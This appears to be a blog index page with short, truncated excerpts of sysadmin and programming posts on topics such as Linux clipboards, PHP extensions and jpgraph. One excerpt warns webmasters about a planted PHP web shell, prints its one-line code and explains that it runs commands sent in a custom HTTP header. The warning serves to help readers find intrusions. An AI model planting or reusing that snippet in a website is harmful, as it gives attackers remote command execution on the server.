There are sites out there (in the tired “Rick Roll” category) that make it hard to close a tab, by adding hooks that allow for dozens or hundreds of alert dialog boxes to appear, preventing the tab from closing. One is http://www.internetisseriousbusiness.com. Don’t go to this site, unless you want to see the bug in [...]

One of the most difficult things to deal with while using a Linux desktop is the clipboard. There are apparently two clipboards on my desktop — perhaps more? I’m running Debian Etch w/ Gnome 2 based apps, if that matters.
If you copy text from one window, you may not be able to paste it in [...]

The pdf extension library shipped with PHP-4.4.7 doesn’t work, and it’s a known “non-bug”. I’m not sure why they still ship the broken library. I installed the PECL version, via pear (my first time trying that), and that was pretty painless. It created a pdf.so and put it in some long /usr/local/lib path. So I [...]

One thing that I’ve noticed, and I’m sure many of you have noticed, is how hard it is to search for documents containing programming terms such as “operator!=” or “read()”. The results on Google are completely worthless. Lycos results are similarly worthless.
I was surprised to find that AltaVista seems to return relevant results for “operator!=”, [...]

jpgraph is a pretty slick tool. It makes nice looking charts and graphs, and it is very easy to use. You simply pass it an array and it can draw it. Many other tools require serious data massaging and configuration to simply display a simple graph.
However, it’s hard to use your own truetype fonts. I [...]

Are you a webmaster who is concerned about hackers infesting your sites? Well, be on the look out for crud like this:
<? passthru(getenv(”HTTP_ACCEPT_jayman”)); ?>
This script can be used by sending whatever command you want in a “Accept-jayman:” HTTP header. “jayman” is just an example (a prevelant one), it could be anything. This can be placed [...]

When is stability going to finally trump features?
In just about anything related to computers, there’s a tug of war between adding new features or fixing bugs. … in the general computing world, people don’t get sued for bugs, and adding new features is much more fun and sexy than fixing bugs.
I’m in total agreement [...]

If you ever find yourself in my situation, where installing some updated port from a relatively freshly done cvsup ends up breaking a couple dozen other programs because it decided to upgrade several libraries, you might find the following for loop useful:
cd /usr/X11R6/bin && for m in $(for l in $(for j in $(for i [...]